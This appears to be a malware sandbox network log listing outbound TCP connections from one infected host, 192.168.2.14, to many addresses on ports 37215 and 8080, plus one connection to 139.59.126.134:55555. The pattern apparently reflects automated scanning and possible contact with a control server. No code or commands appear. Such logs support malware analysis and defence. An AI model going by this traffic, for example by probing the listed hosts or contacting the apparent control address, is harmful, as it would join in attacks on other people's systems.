Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.158.163.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.175.62.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.201.172.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.43.149.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.0.59.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.55.168.239:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.222.249.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.9.163.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.99.235.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.1.223.53:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.208.163.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.123.184.37:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.143.63.188:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.177.199.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.25.106.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.171.161.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.27.193.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.143.78.49:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.79.152.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.234.59.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.55.116.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.33.78.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.164.124.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.178.38.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.3.17.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.85.122.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.13.238.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.73.229.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.171.27.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.185.46.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.148.165.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:39290 -> 139.59.126.134:55555
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.53.23.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.155.4.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.65.95.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.74.14.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.52.187.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.92.31.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.193.192.94:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.164.233.79:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.217.182.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.219.121.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.80.71.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.75.126.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.181.11.136:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.223.6.168:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.192.177.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.50.15.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.65.157.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.156.179.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.198.53.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.240.181.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.93.195.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.59.27.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.226.163.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.113.98.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.22.68.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.205.58.231:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.239.12.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.27.155.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.142.198.174:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.64.113.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.68.129.203:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.3.100.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.170.100.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.51.100.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.131.187.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.146.34.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.162.183.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.84.120.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.97.147.87:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.41.247.55:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.107.129.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.19.61.4:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.108.243.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.195.81.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.13.101.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.115.28.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.153.67.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.187.52.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.168.125.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.114.175.92:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.249.182.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.78.246.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:28354 -> 197.7.98.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.167.18.102:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.206.172.103:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.236.62.169:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.231.122.101:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.161.206.51:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.120.136.233:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.141.41.169:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.236.90.134:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.108.84.147:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.67.59.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.122.205.201:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.172.172.201:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.157.87.4:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.27.59.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.123.59.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.22.40.2:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.202.9.60:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.155.119.136:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.6.169.156:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.60.108.62:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.229.209.227:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.165.89.33:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.125.153.65:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.160.134.201:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.89.30.208:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.238.41.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.115.52.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.95.132.85:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.222.184.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.43.27.165:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.193.106.203:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.21.40.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.218.152.147:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.159.173.181:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.11.4.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.168.31.91:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.123.85.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.89.14.73:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.253.143.18:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.193.83.134:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.126.248.116:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.106.107.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.130.62.204:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.40.37.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.28.153.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.47.245.71:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.114.134.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.103.7.96:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.73.24.66:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.116.159.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.128.76.45:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.58.164.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.73.112.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.238.118.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.45.231.40:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.99.17.136:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.145.45.34:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.150.121.81:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.167.138.178:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.48.159.162:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.111.187.132:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.169.71.217:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.209.211.190:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.115.101.137:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.23.38.57:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.22.245.74:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.75.247.77:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.224.208.211:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.197.193.44:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.207.220.254:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.63.30.150:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.145.205.197:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.16.14.29:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.129.246.132:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.232.197.96:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.138.99.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.49.187.15:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.193.76.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.205.91.28:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.112.82.53:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.115.110.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.43.53.117:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.69.109.206:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.0.90.134:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.142.154.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.188.193.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.244.172.114:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.250.64.34:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.254.140.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.224.247.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.251.182.175:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.173.120.24:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.22.149.186:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.115.55.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.149.67.42:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.218.77.28:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.36.106.223:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.132.211.191:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.167.133.151:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.56.208.25:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.160.167.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.50.187.88:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.143.145.160:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.70.51.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.29.71.198:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.245.162.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.48.237.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.221.182.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.1.201.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.210.42.102:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.224.163.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.92.12.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.166.115.179:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.79.110.242:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.238.67.13:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.15.40.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.147.126.93:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.137.4.135:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.135.12.152:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.23.125.153:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.178.212.174:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.176.213.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.194.113.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.146.217.182:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.183.238.187:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.70.114.166:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.195.17.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.28.239.130:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.151.208.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.177.212.121:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.44.33.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.200.137.59:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.125.139.63:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.13.160.129:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.26.26.249:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.87.122.236:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.61.104.61:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.193.34.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.117.172.73:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.238.124.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.0.143.104:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.187.29.125:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.175.79.24:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.115.120.150:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.145.224.207:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.173.74.48:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.136.164.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.8.134.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.246.58.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.67.45.81:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.236.0.55:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.80.133.89:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.138.181.105:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.246.127.172:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.51.71.249:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.219.217.127:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.172.198.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.95.26.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.121.6.117:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.163.178.20:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.23.194.180:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.107.56.148:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.138.250.138:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.25.151.2:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.217.16.97:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.74.54.206:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.220.124.18:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.204.222.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.71.68.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.238.196.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.228.83.56:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.64.104.39:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.88.186.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.37.94.112:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.126.83.37:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.117.97.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.117.209.247:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.36.171.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.5.224.68:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.22.155.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.202.133.53:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.63.140.222:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.148.146.42:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.224.193.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.67.118.84:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.6.89.174:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.103.62.107:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.121.130.94:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.41.51.220:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.194.82.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.89.106.208:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.189.119.238:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.223.106.54:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.23.113.93:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.12.133.217:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.99.96.229:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.233.239.17:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.174.148.46:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.206.190.89:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.160.19.43:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.171.184.209:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.35.230.251:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.85.253.109:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.224.250.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.106.80.13:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.242.58.128:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.202.156.52:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.29.245.78:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.54.206.145:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.61.93.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.215.60.14:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.105.192.91:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.116.4.30:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.250.15.159:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.31.2.210:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.129.186.0:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.38.13.108:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.127.1.21:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.37.224.199:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.194.98.222:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.181.46.24:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.137.253.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.38.226.74:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.46.23.144:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.152.133.227:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.176.197.61:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.251.1.50:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.47.107.195:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.164.0.125:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.96.174.213:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.192.236.97:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.93.80.245:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.69.185.86:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.50.34.233:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.154.224.173:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.62.19.146:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.166.255.127:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.232.205.142:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.246.50.243:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.17.220.16:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.15.189.157:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.237.185.208:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.158.169.40:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.216.75.83:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.68.90.237:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.193.190.8:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.97.180.18:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.102.20.185:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.226.115.1:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.238.186.115:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.85.232.45:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.234.4.200:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.244.11.140:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.202.108.255:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.253.220.14:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.23.158.24:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.35.1.58:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.36.165.156:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.163.227.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.80.136.10:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.138.180.168:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.247.218.92:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.227.14.93:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.156.180.117:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.246.72.179:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.1.104.200:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.5.220.41:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.250.75.91:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.135.199.72:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.124.63.129:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.144.28.95:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.165.127.184:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 31.234.115.217:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.235.159.208:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 85.2.125.83:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.126.125.176:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 95.196.234.196:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.158.215.12:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 62.253.222.208:8080
Source: global traffic	TCP traffic: 192.168.2.14:25538 -> 94.10.76.178:8080
